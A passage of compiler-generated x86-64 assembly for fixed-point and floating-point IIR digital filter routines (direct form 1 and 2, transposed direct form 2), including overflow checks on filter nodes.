mov rdi, rax
call fxp_add
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -80[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -112[rbp]
add rdx, rax
mov eax, DWORD PTR -80[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -112[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -16[rbp]
lea rdx, -4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -84[rbp]
addss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
add DWORD PTR -80[rbp], 1
.L609:
mov eax, DWORD PTR 48[rbp]
sub eax, 1
cmp DWORD PTR -80[rbp], eax
jl .L610
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -152[rbp]
add rdx, rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -48[rbp]
lea rdx, 8[rax]
mov QWORD PTR -48[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -56[rbp]
lea rcx, -8[rax]
mov QWORD PTR -56[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -40[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -112[rbp]
add rax, rdx
movss xmm0, DWORD PTR -132[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -16[rbp]
lea rdx, -4[rax]
mov QWORD PTR -16[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 4[rax]
mov QWORD PTR -8[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -84[rbp]
addss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
mov DWORD PTR -76[rbp], 1
jmp .L611
.L612:
mov rax, QWORD PTR -64[rbp]
lea rdx, 8[rax]
mov QWORD PTR -64[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -72[rbp]
lea rcx, -8[rax]
mov QWORD PTR -72[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -40[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -76[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -144[rbp]
add rax, rdx
mov edx, DWORD PTR -76[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -144[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -32[rbp]
lea rdx, -4[rax]
mov QWORD PTR -32[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -84[rbp]
subss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR -76[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -104[rbp]
add rdx, rax
mov eax, DWORD PTR -76[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -104[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
add DWORD PTR -76[rbp], 1
.L611:
mov eax, DWORD PTR 40[rbp]
sub eax, 1
cmp DWORD PTR -76[rbp], eax
jl .L612
cmp DWORD PTR 40[rbp], 1
jle .L613
mov rax, QWORD PTR -64[rbp]
lea rdx, 8[rax]
mov QWORD PTR -64[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -72[rbp]
lea rcx, -8[rax]
mov QWORD PTR -72[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -40[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -40[rbp], rax
.L613:
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -144[rbp]
add rdx, rax
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rdx], rax
cmp DWORD PTR 40[rbp], 1
jle .L614
mov rax, QWORD PTR -32[rbp]
lea rdx, -4[rax]
mov QWORD PTR -32[rbp], rdx
movss xmm1, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rdx, 4[rax]
mov QWORD PTR -24[rbp], rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -84[rbp]
subss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
.L614:
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -104[rbp]
add rax, rdx
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -40[rbp]
mov rdi, rax
call fxp_to_float
movd eax, xmm0
movd xmm0, eax
subss xmm0, DWORD PTR -84[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE93:
.size iirOutBothL, .-iirOutBothL
.globl iirOutBothL2
.type iirOutBothL2, @function
iirOutBothL2:
.LFB94:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 152
mov QWORD PTR -104[rbp], rdi
mov QWORD PTR -112[rbp], rsi
mov QWORD PTR -120[rbp], rdx
mov QWORD PTR -128[rbp], rcx
movss DWORD PTR -132[rbp], xmm0
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -152[rbp], r9
mov QWORD PTR -72[rbp], 0
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR 16[rbp]
add rax, rdx
mov QWORD PTR -64[rbp], rax
mov rax, QWORD PTR -144[rbp]
add rax, 8
mov QWORD PTR -56[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR 24[rbp]
add rax, rdx
mov QWORD PTR -48[rbp], rax
mov rax, QWORD PTR -152[rbp]
mov QWORD PTR -40[rbp], rax
pxor xmm0, xmm0
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -104[rbp]
add rax, 4
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -128[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -112[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -80[rbp], 0
mov DWORD PTR -76[rbp], 1
mov DWORD PTR -80[rbp], 0
jmp .L617
.L618:
mov eax, DWORD PTR -80[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
mov edx, DWORD PTR -80[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -152[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR 48[rbp]
sub eax, 1
sub eax, DWORD PTR -80[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR 24[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -72[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -72[rbp], rax
mov eax, DWORD PTR -80[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -112[rbp]
add rdx, rax
mov eax, DWORD PTR -80[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -112[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR 48[rbp]
sub eax, 1
sub eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -128[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -112[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -84[rbp]
addss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
add DWORD PTR -80[rbp], 1
.L617:
mov eax, DWORD PTR 48[rbp]
sub eax, 1
cmp DWORD PTR -80[rbp], eax
jl .L618
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -152[rbp]
add rdx, rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR 48[rbp]
sub eax, 1
sub eax, DWORD PTR -80[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR 24[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -72[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -72[rbp], rax
mov eax, DWORD PTR 48[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -112[rbp]
add rax, rdx
movss xmm0, DWORD PTR -132[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR 48[rbp]
sub eax, 1
sub eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -128[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -112[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
movss xmm1, DWORD PTR -84[rbp]
addss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
mov DWORD PTR -76[rbp], 1
jmp .L619
.L620:
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -144[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR 40[rbp]
sub eax, DWORD PTR -76[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR 16[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -72[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -72[rbp], rax
mov eax, DWORD PTR -76[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -144[rbp]
add rax, rdx
mov edx, DWORD PTR -76[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -144[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR 40[rbp]
sub eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -104[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -84[rbp]
subss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR -76[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -104[rbp]
add rdx, rax
mov eax, DWORD PTR -76[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -104[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
add DWORD PTR -76[rbp], 1
.L619:
mov eax, DWORD PTR 40[rbp]
sub eax, 1
cmp DWORD PTR -76[rbp], eax
jl .L620
cmp DWORD PTR 40[rbp], 1
jle .L621
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -144[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR 40[rbp]
sub eax, DWORD PTR -76[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR 16[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -72[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -72[rbp], rax
.L621:
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -144[rbp]
add rdx, rax
mov rax, QWORD PTR -72[rbp]
mov QWORD PTR [rdx], rax
cmp DWORD PTR 40[rbp], 1
jle .L622
mov eax, DWORD PTR 40[rbp]
sub eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -104[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm1, xmm0
movss xmm0, DWORD PTR -84[rbp]
subss xmm0, xmm1
movss DWORD PTR -84[rbp], xmm0
.L622:
mov eax, DWORD PTR 40[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -104[rbp]
add rax, rdx
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -72[rbp]
mov rdi, rax
call fxp_to_float
movd eax, xmm0
movd xmm0, eax
subss xmm0, DWORD PTR -84[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE94:
.size iirOutBothL2, .-iirOutBothL2
.section .rodata
.align 8
.LC42:
.string "An Overflow Occurred in the node a0"
.text
.globl fxp_direct_form_1
.type fxp_direct_form_1, @function
fxp_direct_form_1:
.LFB95:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -88[rbp], r9d
mov QWORD PTR -8[rbp], 0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -84[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR -88[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -48[rbp], 0
jmp .L625
.L626:
mov rax, QWORD PTR -16[rbp]
lea rdx, -8[rax]
mov QWORD PTR -16[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rcx, 8[rax]
mov QWORD PTR -24[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -8[rbp], rax
add DWORD PTR -48[rbp], 1
.L625:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L626
mov DWORD PTR -44[rbp], 1
jmp .L627
.L628:
mov rax, QWORD PTR -32[rbp]
lea rdx, -8[rax]
mov QWORD PTR -32[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -40[rbp]
lea rcx, 8[rax]
mov QWORD PTR -40[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR -8[rbp], rax
add DWORD PTR -44[rbp], 1
.L627:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L628
mov rax, QWORD PTR -8[rbp]
lea rsi, .LC42[rip]
mov rdi, rax
call fxp_verify_overflow_node
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_div
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE95:
.size fxp_direct_form_1, .-fxp_direct_form_1
.section .rodata
.align 8
.LC43:
.string "An Overflow Occurred in the node b0"
.text
.globl fxp_direct_form_2
.type fxp_direct_form_2, @function
fxp_direct_form_2:
.LFB96:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -88[rbp], r9d
mov QWORD PTR -8[rbp], 0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 8
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -36[rbp], 1
jmp .L631
.L632:
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
lea rcx, 8[rax]
mov QWORD PTR -32[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov rdx, QWORD PTR -56[rbp]
mov QWORD PTR [rdx], rax
add DWORD PTR -36[rbp], 1
.L631:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L632
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -64[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov rdx, QWORD PTR -56[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_div
mov rdx, QWORD PTR -56[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR [rax]
lea rsi, .LC43[rip]
mov rdi, rax
call fxp_verify_overflow_node
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -40[rbp], 0
jmp .L633
.L634:
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
lea rcx, 8[rax]
mov QWORD PTR -24[rbp], rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR -8[rbp], rax
add DWORD PTR -40[rbp], 1
.L633:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L634
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE96:
.size fxp_direct_form_2, .-fxp_direct_form_2
.globl fxp_transposed_direct_form_2
.type fxp_transposed_direct_form_2, @function
fxp_transposed_direct_form_2:
.LFB97:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 88
.cfi_offset 3, -24
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -88[rbp], r9d
mov QWORD PTR -24[rbp], 0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -32[rbp], rax
mov eax, DWORD PTR -84[rbp]
cmp DWORD PTR -88[rbp], eax
cmovge eax, DWORD PTR -88[rbp]
mov DWORD PTR -44[rbp], eax
mov rax, QWORD PTR -56[rbp]
mov rbx, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
lea rdx, 8[rax]
mov QWORD PTR -32[rbp], rdx
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -64[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rsi, rbx
mov rdi, rax
call fxp_add
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_div
mov QWORD PTR -24[rbp], rax
mov DWORD PTR -48[rbp], 0
jmp .L637
.L640:
mov eax, DWORD PTR -48[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov edx, DWORD PTR -48[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -56[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR -84[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jge .L638
mov rax, QWORD PTR -40[rbp]
lea rdx, 8[rax]
mov QWORD PTR -40[rbp], rdx
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -24[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov eax, DWORD PTR -48[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov ecx, DWORD PTR -48[rbp]
movsx rcx, ecx
lea rsi, 0[0+rcx*8]
mov rcx, QWORD PTR -56[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov QWORD PTR [rbx], rax
.L638:
mov eax, DWORD PTR -88[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jge .L639
mov rax, QWORD PTR -32[rbp]
lea rdx, 8[rax]
mov QWORD PTR -32[rbp], rdx
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -64[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov eax, DWORD PTR -48[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov ecx, DWORD PTR -48[rbp]
movsx rcx, ecx
lea rsi, 0[0+rcx*8]
mov rcx, QWORD PTR -56[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR [rbx], rax
.L639:
add DWORD PTR -48[rbp], 1
.L637:
mov eax, DWORD PTR -44[rbp]
sub eax, 1
cmp DWORD PTR -48[rbp], eax
jl .L640
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
lea rsi, .LC42[rip]
mov rdi, rax
call fxp_verify_overflow_node
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call fxp_quantize
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE97:
.size fxp_transposed_direct_form_2, .-fxp_transposed_direct_form_2
.globl double_direct_form_1
.type double_direct_form_1, @function
double_direct_form_1:
.LFB98:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -88[rbp], r9d
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -84[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR -88[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -48[rbp], 0
jmp .L643
.L644:
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, -8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -48[rbp], 1
.L643:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L644
mov DWORD PTR -44[rbp], 1
jmp .L645
.L646:
mov rax, QWORD PTR -40[rbp]
lea rdx, 8[rax]
mov QWORD PTR -40[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
lea rdx, -8[rax]
mov QWORD PTR -32[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -8[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -44[rbp], 1
.L645:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L646
mov rax, QWORD PTR -72[rbp]
movsd xmm1, QWORD PTR [rax]
movsd xmm0, QWORD PTR -8[rbp]
divsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE98:
.size double_direct_form_1, .-double_direct_form_1
.globl double_direct_form_2
.type double_direct_form_2, @function
double_direct_form_2:
.LFB99:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
movsd QWORD PTR -64[rbp], xmm0
mov QWORD PTR -72[rbp], rsi
mov QWORD PTR -80[rbp], rdx
mov DWORD PTR -84[rbp], ecx
mov DWORD PTR -88[rbp], r8d
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 8
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -36[rbp], 1
jmp .L649
.L650:
mov rax, QWORD PTR -32[rbp]
lea rdx, 8[rax]
mov QWORD PTR -32[rbp], rdx
movsd xmm1, QWORD PTR [rax]
